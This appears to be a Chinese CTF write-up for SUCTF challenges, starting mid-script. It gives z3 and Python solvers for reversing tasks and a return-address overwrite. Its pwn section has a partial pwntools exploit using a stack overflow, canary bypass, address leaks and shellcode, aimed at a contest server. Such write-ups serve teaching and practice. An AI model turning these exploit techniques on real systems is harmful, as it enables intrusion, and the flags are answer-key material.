  return (a1 + a3 + a4 + a2)
def  c5d8(a1, a2, a3):
  return (a1 + a3 + a2)
def  c60c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  c64c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  c68c(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  c6d8(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  c70c(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  c74c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  c780(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  c7b4(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  c7f4(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  c840(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  c88c(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  c8d8(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  c924(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  c958(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  c9a4(a1, a2, a3):
  return (a1 + a3 + a2)
def  c9d8(a1, a2, a3):
  return (a1 + a3 + a2)
def  ca0c(a1, a2, a3):
  return (a1 + a3 + a2)
def  ca40(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  ca80(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  cac0(a1, a2, a3):
  return (a1 + a3 + a2)
def  caf4(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  cb28(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  cb5c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  cb9c(a1, a2, a3):
  return (a1 + a3 + a2)
def  cbd0(a1, a2, a3):
  return (a1 + a3 + a2)
def  cc04(a1, a2, a3):
  return (a1 + a3 + a2)
def  cc38(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  cc78(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  ccb8(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  ccec(a1, a2, a3):
  return (a1 + a3 + a2)
def  cd20(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  cd6c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  cda0(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  cdec(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  ce2c(a1, a2, a3):
  return (a1 + a3 + a2)
def  ce60(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  ceac(a1, a2, a3):
  return (a1 + a3 + a2)
def  cee0(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  cf20(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  cf60(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  cfa0(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  cfec(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  d02c(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  d078(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  d0c4(a1, a2, a3):
  return (a1 + a3 + a2)
def  d0f8(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  d144(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  d190(a1, a2, a3):
  return (a1 + a3 + a2)
def  d1c4(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  d204(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  d244(a1, a2, a3):
  return (a1 + a3 + a2)
def  d278(a1, a2, a3):
  return (a1 + a3 + a2)
def  d2ac(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  d2f8(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  d338(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  d378(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  d3b8(a1, a2, a3, a4,  a5):
  return (a1 ^ a3 ^ a4 ^ a5) + a2
def  d404(a1, a2, a3, a4,  a5):
  return (a1 ^ a3 ^ a4 ^ a5) + a2
def  d450(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  d49c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  d4dc(a1, a2, a3):
  return (a1 + a3 + a2)
def  d510(a1, a2, a3):
  return (a1 + a3 + a2)
def  d544(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  d590(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  d5dc(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  d61c(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  d668(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  d6a8(a1, a2, a3):
  return (a1 + a3 + a2)
def  d6dc(a1, a2, a3):
  return (a1 + a3 + a2)
def  d710(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  d75c(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  d7a8(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  d7e8(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  d834(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  d880(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  d8c0(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  d900(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  d94c(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  d98c(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  d9cc(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  da18(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  da64(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  dab0(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  daf0(a1, a2, a3):
  return (a1 + a3 + a2)
def  db24(a1, a2, a3):
  return (a1 + a3 + a2)
def  db58(a1, a2, a3):
  return (a1 + a3 + a2)
def  db8c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  dbcc(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  dc18(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  dc64(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  dca4(a1, a2, a3):
  return (a1 + a3 + a2)
def  dcd8(a1, a2, a3):
  return (a1 + a3 + a2)
def  dd0c(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  dd4c(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  dd98(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  ddd8(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  de24(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  de64(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  de98(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  ded8(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  df24(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  df64(a1, a2, a3):
  return (a1 + a3 + a2)
def  df98(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  dfe4(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  e024(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  e064(a1, a2, a3):
  return (a1 + a3 + a2)
def  e098(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  e0cc(a1, a2, a3):
  return (a1 + a3 + a2)
def  e100(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  e140(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  e180(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  e1b4(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)

func_list = [a224,a264,a2b0,a2f0,a33c,a370,a3bc,a3fc,a43c,a47c,a4b0,a4e4,a524,a564,a5a4,a5d8,a618,a64c,a680,a6cc,a700,a74c,a78c,a7c0,a7f4,a840,a874,a8b4,a900,a940,a980,a9b4,a9e8,aa1c,aa50,aa9c,aad0,ab04,ab38,ab84,abc4,ac10,ac5c,aca8,acdc,ad1c,ad50,ad90,add0,ae10,ae5c,ae9c,aedc,af28,af68,afa8,afe8,b01c,b05c,b0a8,b0dc,b11c,b168,b1a8,b1e8,b234,b274,b2c0,b2f4,b328,b35c,b3a8,b3f4,b434,b480,b4c0,b50c,b54c,b58c,b5c0,b5f4,b634,b674,b6c0,b70c,b758,b798,b7e4,b830,b870,b8b0,b8f0,b93c,b970,b9bc,b9fc,ba48,ba7c,babc,bafc,bb30,bb64,bb98,bbe4,bc18,bc64,bcb0,bcf0,bd24,bd64,bdb0,bdfc,be30,be64,bea4,bed8,bf0c,bf40,bf74,bfb4,bff4,c034,c074,c0b4,c0e8,c134,c174,c1b4,c1f4,c240,c274,c2c0,c2f4,c340,c380,c3cc,c400,c44c,c498,c4cc,c500,c54c,c598,c5d8,c60c,c64c,c68c,c6d8,c70c,c74c,c780,c7b4,c7f4,c840,c88c,c8d8,c924,c958,c9a4,c9d8,ca0c,ca40,ca80,cac0,caf4,cb28,cb5c,cb9c,cbd0,cc04,cc38,cc78,ccb8,ccec,cd20,cd6c,cda0,cdec,ce2c,ce60,ceac,cee0,cf20,cf60,cfa0,cfec,d02c,d078,d0c4,d0f8,d144,d190,d1c4,d204,d244,d278,d2ac,d2f8,d338,d378,d3b8,d404,d450,d49c,d4dc,d510,d544,d590,d5dc,d61c,d668,d6a8,d6dc,d710,d75c,d7a8,d7e8,d834,d880,d8c0,d900,d94c,d98c,d9cc,da18,da64,dab0,daf0,db24,db58,db8c,dbcc,dc18,dc64,dca4,dcd8,dd0c,dd4c,dd98,ddd8,de24,de64,de98,ded8,df24,df64,df98,dfe4,e024,e064,e098,e0cc,e100,e140,e180,e1b4,]
func_arg_number = [0x2,0x3,0x2,0x3,0x1,0x3,0x2,0x2,0x2,0x1,0x1,0x2,0x2,0x2,0x1,0x2,0x1,0x1,0x3,0x1,0x3,0x2,0x1,0x1,0x3,0x1,0x2,0x3,0x2,0x2,0x1,0x1,0x1,0x1,0x3,0x1,0x1,0x1,0x3,0x2,0x3,0x3,0x3,0x1,0x2,0x1,0x2,0x2,0x2,0x3,0x2,0x2,0x3,0x2,0x2,0x2,0x1,0x2,0x3,0x1,0x2,0x3,0x2,0x2,0x3,0x2,0x3,0x1,0x1,0x1,0x3,0x3,0x2,0x3,0x2,0x3,0x2,0x2,0x1,0x1,0x2,0x2,0x3,0x3,0x3,0x2,0x3,0x3,0x2,0x2,0x2,0x3,0x1,0x3,0x2,0x3,0x1,0x2,0x2,0x1,0x1,0x1,0x3,0x1,0x3,0x3,0x2,0x1,0x2,0x3,0x3,0x1,0x1,0x2,0x1,0x1,0x1,0x1,0x2,0x2,0x2,0x2,0x2,0x1,0x3,0x2,0x2,0x2,0x3,0x1,0x3,0x1,0x3,0x2,0x3,0x1,0x3,0x3,0x1,0x1,0x3,0x3,0x2,0x1,0x2,0x2,0x3,0x1,0x2,0x1,0x1,0x2,0x3,0x3,0x3,0x3,0x1,0x3,0x1,0x1,0x1,0x2,0x2,0x1,0x1,0x1,0x2,0x1,0x1,0x1,0x2,0x2,0x1,0x1,0x3,0x1,0x3,0x2,0x1,0x3,0x1,0x2,0x2,0x2,0x3,0x2,0x3,0x3,0x1,0x3,0x3,0x1,0x2,0x2,0x1,0x1,0x3,0x2,0x2,0x2,0x3,0x3,0x3,0x2,0x1,0x1,0x3,0x3,0x2,0x3,0x2,0x1,0x1,0x3,0x3,0x2,0x3,0x3,0x2,0x2,0x3,0x2,0x2,0x3,0x3,0x3,0x2,0x1,0x1,0x1,0x2,0x3,0x3,0x2,0x1,0x1,0x2,0x3,0x2,0x3,0x2,0x1,0x2,0x3,0x2,0x1,0x3,0x2,0x2,0x1,0x1,0x1,0x2,0x2,0x1,0x3,]
def gen_rand():
    global ii
    global jj

    ii = (ii+1)%256
    jj = (jj + sbox[ii])%256
    v2 = (sbox[ii]+sbox[jj])% 256
    return v2


def check(data):
    global ii
    global jj
    result = "a"
    ii = 0
    jj = 0
    len1 = len(data)
    assert(len1 == 0x20)
    s = [i for i in data]
    for i in range(8*len1):
        rnum0 = gen_rand()
        rnum1 = gen_rand()
        rnum2 = gen_rand()
        ridx1 = gen_rand() % len1
        ridx2 = gen_rand() % len1
        r_offset = gen_rand()
        arr = [hex(rnum0),hex(rnum1),hex(rnum2),hex(ridx1),hex(ridx2),hex(r_offset)]
        
        if(func_arg_number[r_offset]==1):
            a1= rnum0
            a2 = s[ridx1]
            a3 = s[ridx2]
            result = func_list[r_offset](a1,a2,a3) 
           
        if(func_arg_number[r_offset]==2):
            a1= rnum0
            a2= rnum1
            a3 = s[ridx1]
            a4 = s[ridx2]
            result = func_list[r_offset](a1,a2,a3,a4) 
            
        if(func_arg_number[r_offset]==3):
            a1= rnum0
            a2= rnum1
            a3 =rnum2
            a4 = s[ridx1]
            a5 = s[ridx2]
            result = func_list[r_offset](a1,a2,a3,a4,a5) 
        s[ridx1] = result
        
        
    return s
    # for m in s:
    #     print(hex(m),end=',')


result = [0x6e179,0x10a34,0x353c2,0x1174b,0x70bda,0xb015,0x3bfeb,0x2d16,0x4a320,0x1f1ac,0x8f6b,0x2098e,0x8d4,0x2428f,0x1fb5f,0x10bd5,0x10e7,0x3171b,0x1b19d,0x168,0x8dcf,0x246ba,0x7ae5d,0x6f10,0x6e11,0x13d8a,0x169b,0x3701,0x321d6,0x465f6,0x106bc,0x1298e,]

from z3 import *
cin = [i for i in b"aaaaa"]+[BitVec('x[%d]'%i,8) for i in range(32-5)]

result = [0x000D7765, 0x00011EBD, 0x00032D12, 0x00013778, 0x0008A428, 0x0000B592, 0x0003FA57, 0x00001616, 
    0x0003659E, 0x0002483A, 0x00002882, 0x000508F4, 0x00000BAD, 0x00027920, 0x0000F821, 0x00019F83, 
    0x00000F97, 0x00033904, 0x000170D5, 0x0000016C, 0x0000CF5D, 0x000280D2, 0x000A8ADE, 0x00009EAA, 
    0x00009DAB, 0x0001F45E, 0x00003214, 0x000052FA, 0x0006D57A, 0x000460ED, 0x000124FF, 0x00013936, ]
cin = [i for i in b"SUCTF"]+[BitVec('x[%d]'%i,8) for i in range(32-5)]

ans = check(cin)
#print(ans[0])
S = Solver()
for i in range(0x20):
    S.add(ans[i] == result[i])
print(S.check())
flag = S.model()
print(flag)

x = [9]*100
x[0] = 123
x[16] = 95
x[14] = 105
x[17] = 77
x[22] = 114
x[24] = 33
x[21] = 51
x[25] = 33
x[18] = 52
x[11] = 100
x[1] = 89
x[19] = 115
x[9] = 65
x[8] = 95
x[7] = 51
x[2] = 48
x[20] = 116
x[26] = 125
x[12] = 114
x[3] = 117
x[6] = 114
x[13] = 48
x[23] = 33
x[5] = 65
x[4] = 95
x[10] = 110
x[15] = 100
print(bytes(x))
# check(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab")
# print(len(func_list))
# print(len(func_arg_number))

SU_BBRE

  1. 打开txt发现是一段汇编,拿GPT翻译一下

    img

  2. 发现有两段加密 第一段是RC4加密

    img

    img

    第二段就是个减法

    img

  3. 解密得出两段flag但是提交发现不对 We1com3ToReWorld AndPWNT00

    from Crypto.Cipher import ARC4
    
    key = b"suctf"
    enc = [0x2F, 0x5A, 0x57, 0x65, 0x14, 0x8F, 0x69, 0xCD, 0x93, 0x29, 0x1A, 0x55, 0x18, 0x40, 0xE4, 0x5E]
    rc4 = ARC4.new(key)
    print(rc4.decrypt(bytes(enc)))
    
    enc1 = [ 0x41, 0x6D, 0x62, 0x4D, 0x53, 0x49, 0x4E, 0x29, 0x28]
    print(bytes([enc1[i] + i for i in range(len(enc1))]))
  4. 继续分析代码发现程序并没调用fun1函数而是调用了fun0,并且fun0函数纯在溢出,我们输入最多可以输入19个字符但是这里只拷贝了12个字符,也就是有7个字节的溢出,因为是32位程序ebp占四字节覆盖了ebp后我们还有三字节可以覆盖函数返回地址

    img

  5. 查看汇编发现fun1函数的地址为0x40223d,我们需要将返回地址修改成fun1函数的地址,由于是小端存储我们输入时应该为=”@,所以最终flag为 SUCTF{We1com3ToReWorld=”@AndPWNT00}

    img

SU_minesweeper

  1. 读取输入

    img

  2. 取出\n后判断输入的长度是否为偶数,然后字符拼接成16进制

    img

  3. 如果输入a-f那么就会变成0-5 输入0-9变成6789abcdef

    img

  4. 验证长度

    img

    有条件约束z3一把梭就行

    img

  5. EXP

    from z3 import *
    import hashlib
    table = [  0x03, 0x04, 0xFF, 0xFF, 0xFF, 0x05, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0x04, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0x02, 0xFF, 0xFF,
    0x04, 0xFF, 0x07, 0xFF, 0xFF, 0xFF, 0x04, 0x06, 0x06, 0xFF,
    0xFF, 0xFF, 0xFF, 0x06, 0x05, 0x06, 0x04, 0xFF, 0x05, 0xFF,
    0x04, 0x07, 0xFF, 0x08, 0xFF, 0x06, 0xFF, 0xFF, 0x06, 0x06,
    0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x03, 0xFF, 0x03,
    0xFF, 0x05, 0x06, 0x06, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x05,
    0x04, 0x05, 0x07, 0x06, 0xFF, 0xFF, 0x04, 0xFF, 0x02, 0x01,
    0xFF, 0xFF, 0xFF, 0x03, 0x04, 0xFF, 0xFF, 0x05, 0x04, 0x03,
    0xFF, 0xFF, 0x07, 0x04, 0x03, 0xFF, 0xFF, 0x01, 0x01, 0xFF,
    0xFF, 0x04, 0x03, 0xFF, 0x02, 0xFF, 0x04, 0x03, 0xFF, 0xFF,
    0x02, 0xFF, 0x05, 0x04, 0xFF, 0xFF, 0x02, 0x02, 0xFF, 0xFF,
    0x04, 0xFF, 0x04, 0xFF, 0x03, 0x05, 0x06, 0xFF, 0xFF, 0x00,
    0xFF, 0xFF, 0xFF, 0x02, 0xFF, 0xFF, 0xFF, 0x01, 0x04, 0xFF,
    0xFF, 0x07, 0x05, 0xFF, 0xFF, 0x03, 0x03, 0x02, 0xFF, 0xFF,
    0x04, 0xFF, 0xFF, 0x05, 0x07, 0xFF, 0x03, 0x02, 0x04, 0x04,
    0xFF, 0x07, 0x05, 0x04, 0x03, 0xFF, 0xFF, 0x04, 0xFF, 0x02,
    0x04, 0x05, 0xFF, 0xFF, 0x06, 0x05, 0x04, 0xFF, 0x02, 0xFF,
    0xFF, 0x07, 0x04, 0xFF, 0xFF, 0x03, 0xFF, 0x04, 0x04, 0xFF,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0x03, 0x02, 0x02,
    0xFF, 0xFF, 0x02, 0x04, 0x03, 0x05, 0xFF, 0xFF, 0x05, 0xFF,
    0x04, 0xFF, 0x06, 0xFF, 0xFF, 0x06, 0xFF, 0xFF, 0xFF, 0xFF,
    0x03, 0x03, 0xFF, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06,
    0xFF, 0x06, 0x06, 0xFF, 0x07, 0x06, 0x04, 0xFF, 0x04, 0x03,
    0xFF, 0x04, 0x03, 0x05, 0x04, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0xFF, 0x04, 0x06, 0x07, 0xFF, 0xFF, 0x04, 0xFF, 0xFF,
    0xFF, 0x07, 0xFF, 0x05, 0xFF, 0x05, 0xFF, 0xFF, 0x06, 0x07,
    0x07, 0xFF, 0x05, 0x06, 0x06, 0xFF, 0xFF, 0x02, 0x04, 0x04,
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0xFF, 0xFF, 0x07, 0x07,
    0x06, 0xFF, 0x06, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0xFF, 0x03,
    0x05, 0xFF, 0x07, 0xFF, 0x05, 0xFF, 0x06, 0xFF, 0x05, 0xFF,
    0xFF, 0x07, 0x08, 0xFF, 0xFF, 0x03, 0xFF, 0x03, 0xFF, 0xFF,
    0xFF, 0xFF, 0xFF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
    0xFF, 0x06, 0x05, 0x03, 0xFF, 0x04, 0x05, 0x05, 0x03, 0xFF,
    0xFF, 0x06, 0x05, 0x05, 0x06, 0xFF, 0x06, 0x05, 0x02, 0x04,
    0x03, 0x04, 0xFF, 0xFF, 0x03, 0x04, 0x04, 0x06, 0x05, 0xFF,
    0x03, 0xFF, 0x05, 0x05, 0x05, 0xFF, 0xFF, 0x05, 0xFF, 0xFF,
    0x04, 0xFF, 0xFF, 0x04, 0xFF, 0x07, 0x07, 0x08, 0x06, 0xFF,
    0xFF, 0xFF, 0xFF, 0x05, 0xFF, 0xFF, 0xFF, 0x04, 0xFF, 0x03,
    0xFF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x05, 0x03]
    def sub_1352(a1,a2,a3):
    if a2 >= 0 and a3 >= 0 and a2 <= 19 and a3 <= 19:
        return ((a1[(20 * a2 + a3) // 8] & 0xff) >> ((20 * a2 + a3) & 7)) & 1
    else:
        return 0
    def sub_13C9(a1,a2,a3):
    v5 = 0
    for i in range(-1,2):
        for j in range(-1,2):
        v5 += sub_1352(a1,i+a2,j+a3)
    return v5
    s = Solver()
    flag = [BitVec(f"v{i}",8) for i in range(50)]
    for i in range(20):
    for j in range(20):
        if table[i * 20 + j] != 0xff:
        v2 = table[20 * i + j]
        v5 = sub_13C9(flag, i,j)
    
        s.add(v2 == v5)
    res = ""
    if s.check() == sat:
    data = s.model()
    for i in flag:
        res += hex(data[i].as_long())[2:].rjust(2,"0")
    flag = ""
    for i in res:
        if i == "0":
        flag += "a"
        if i == "1":
        flag += "b"
        if i == "2":
        flag += "c"
        if i == "3":
        flag += "d"
        if i == "4":
        flag += "e"
        if i == "5":
        flag += "f"
        if i == "6":
        flag += "0"
        if i == "7":
        flag += "1"
        if i == "8":
        flag += "2"
        if i == "9":
        flag += "3"
        if i == "a":
        flag += "4"
        if i == "b":
        flag += "5"
        if i == "c":
        flag += "6"
        if i == "d":
        flag += "7"
        if i == "e":
        flag += "8"
        if i == "f":
        flag += "9"
    print(hashlib.md5(flag.encode()).hexdigest())

SU_Harmony

  1. JAVA层没东西直接看so,通过字符串定位函数。

    img

  2. 此函数将字符串转为C语言类型的字符串存在v231中。

    img

  3. 往下看发现赋值给了另一个数组在下面作为参数传入带函数中。

    img

    img

  4. 大致就是将输入经过几个函数加密后和密文比较

    img

  5. 程序中有很多相同的代码,都是虚假控制流不用看直接看逻辑清晰的代码就好

    img

  6. 加密复现后大概长这个样子

    def sub_62F0(a1,char_list):
    
    while a1 > 0:
        char_list.append(a1 % 0xA + 0x30)
        a1 //= 10
    
    return char_list[::-1]
    
    def sub_6D20(a1,a2,s):
    v110 = len(a1)
    v109 = len(a2)
    v108 = v109 + v110
    v126 = [0] * v108
    for j in range(v110 - 1,-1,-1):
        for m in range(v109 - 1, -1, -1):
        v103 = m + j + 1
        v102 = v126[v103] + (a2[m] - 48) * (a1[j] - 48)
        v126[v103] = v102 % 10
        v126[m + j] += v102 // 10
    
    for i in range(v108):
        s.append(v126[i] + 0x30)
    
    return s
    def sub_8270(a1,a2,a3):
    s = a1[::-1]
    print(s)
    v112 = 0
    for j in range(len(s)):
        v109 = v112 + a2 * (s[j] - 48)
        v112 = v109 // 10
        v127 = v109 % 10 + 48
        a3.append(v127)
    
    a3 = a3[::-1]
    
    return a3
    
    
    def sub_9890(a1,a2,a3):
    s = a1[::-1]
    dest = a2[::-1]
    v84 = len(s)
    v83 = len(dest)
    v82 = 0
    if v84 <= v83:
        v77 = v83
    else:
        v77 = v84
    
    for j in range(v77):
        if j >= v84:
        v61 = 0
        else:
        v61 = s[j] - 48
    
        if  j >= v83:
        v60 = 0
        else:
        v60 = dest[j] - 48
        v79 = v82 + v60 + v61
        v82 = v79 // 10
        v95 = v79 % 10 + 48
        a3.append(v95)
    a3 = a3[::-1]
    
    return a3
    
    
    def sub_A8F0(a1,a2,a3):
    s = a1[::-1]
    
    dest = a2[::-1]
    v122 = len(s)
    v121 = len(dest)
    
    v120 = 0
    
    for j in range(v122):
        if (j >= v121):
        v101 = 0
        else:
        v101 = dest[j] - 48
        v117 = s[j] - 48 - v101
    
        a3.append(v117 + 0x30)
    
    while a3[-1] == 0x30:
        a3 = a3[:-1]
    
    return a3[::-1]
    
    def sub_C160(a1,a2):
    s = a1
    v60 = len(a1)
    v59 = 0
    for j in range(v60):
        v56 = (s[j] - 48 + 10 * v59)
        v59 = v56 % 2
        src = (v56 // 2 + 48)
        a2.append(src)
    return a2
    
    def main(a1):
    char_list = []
    char_list = sub_62F0(a1,char_list)
    s = sub_6D20(char_list,char_list,[])
    v62 = sub_8270(char_list,2,[])
    v61 = sub_9890(s,v62,[])
    print(v61)
    v60 = sub_A8F0(v61,[0x33],[])
    print(v60)
    res = sub_C160(v60,[])
    
    return bytes(res).decode()
  7. 丢个AI发现加密很简单

    img

  8. EXP

    import math
    import libnum
    enc = [999272289930604998,1332475531266467542,1074388003071116830,1419324015697459326,978270870200633520,369789474534896558,344214162681978048,2213954953857181622]
    
    for i in range(len(enc)):
    a = enc[i] * 2 + 3
    flag = int(math.sqrt(a + 1) - 1)
    print(libnum.n2s(flag)[::-1].decode(),end="")

Pwn

SU_BABY

在add_files的时候多次增加V4,会造成src的栈溢出,循环通过我们自己可控并不是一次一次增加的,所以这个v4的长度我们可控

img

但是需要绕过一个canary的检查,注意到使用的是read输入,strlen()来获取长度,并且赋值到src的时候又是使用的read返回的参数,就会有一个参数不一致的现象,导致我输入的长度和增加的长度不一致,可以使用这个漏洞来绕过canary的检查。

查看保护的时候发现栈为RWX,需要泄露栈地址我们就可以任意执行shellocde了,在add_sigID中,通过自行输入来增加ID,这个时候栈上会有残留,可以泄露出来libc地址和stack地址。

img

然后通过display_sigdb泄露地址。通过add_files劫持rip到栈上执行shellcode最后绕过一个简单沙盒就行。

img

import time 
from pwn import * 
from ctypes import * 
from LibcSearcher import * 
 
RED = '\033[91m' 
GREEN = '\033[92m' 
YELLOW = '\033[93m' 
BLUE = '\033[94m'  
RESET = '\033[0m'  
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) 
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 
u64_8bit=lambda p:u64(p.recv(8)) 
dir  =    lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) 
def int_fix(p,count=12): 
    p.recvuntil(b'0x') 
    return int(p.recv(count),16) 
# p = process(["qemu-arm","-g", "2233","../chall"]) 
 
FILENAME='./pwn' 
elf=ELF(FILENAME) 
libc=elf.libc 
 
debug =int(sys.argv[1]) 
print(f"debug -> {debug}") 
context.arch='amd64' 
 
if debug == 0: 
    argv=['aa'] 
    p=process([FILENAME]+argv) 
if debug == 1: 
    p = remote('1.95.76.73',10001) 
 
if debug ==2: 
    gdbscript = ''' 
        b* 0x402778 
        c 
    ''' 
    argv=['a'*21] 
    p = gdb.debug([FILENAME]+argv, gdbscript=gdbscript) 
     
def command(option): 
    p.recvuntil(b'+++++++++++++++++++++++++++++++++++++++++++++') 
    p.sendline(bytes(str(option),'utf-8')) 
 
def add_code(id,name,buf): 
    command(1) 
    p.recvuntil(b'ID:') 
    p.sendline(bytes(str(id),'utf-8')) 
    p.recvuntil(b':') 
    p.send(name) 
    p.recvuntil(b':') 
    p.send(buf) 
    print((p.recvline().decode('utf-8'))) 
def del_code(id): 
    command(2) 
    p.recvuntil(b'ID:') 
    p.sendline(bytes(str(id),'utf-8')) 
def add_file(name,buf): 
    command(8) 
    p.recvuntil(b':') 
    p.sendline(bytes(str(1),'utf-8')) 
    do_add_file(name,buf) 
def do_add_file(name,buf): 
    p.recvuntil("请输入文件名称".encode()) 
    p.sendline(name) 
    p.recvuntil("请输入文件内容".encode()) 
    p.send(buf) 
def show_code(): 
    command(5) 
    p.sendlineafter(b':',b'1') 
sh=''' 
    lea rsi,[rip+0x10101010] 
    sub rsi,0x10101010 
    xor rdi,rdi 
    xor edx,edx 
    mov dl,0xff 
    xor rax,rax 
    syscall 
''' 
 
# gdb.attach(p,'b* 0x4014FB') 
code=[1,2,20,27,33,56,68,69,87] 
code.reverse() 
print(code) 
for i in code: 
    del_code(i) 
attack_code=[] 
count=0 
for i in range(0x1314,0x1314+12+len(code)-1,1): 
    print(f"count -> {count} ",end="") 
    count+=1 
    payload=f'mowen{i}'.encode() 
    length=len(payload) 
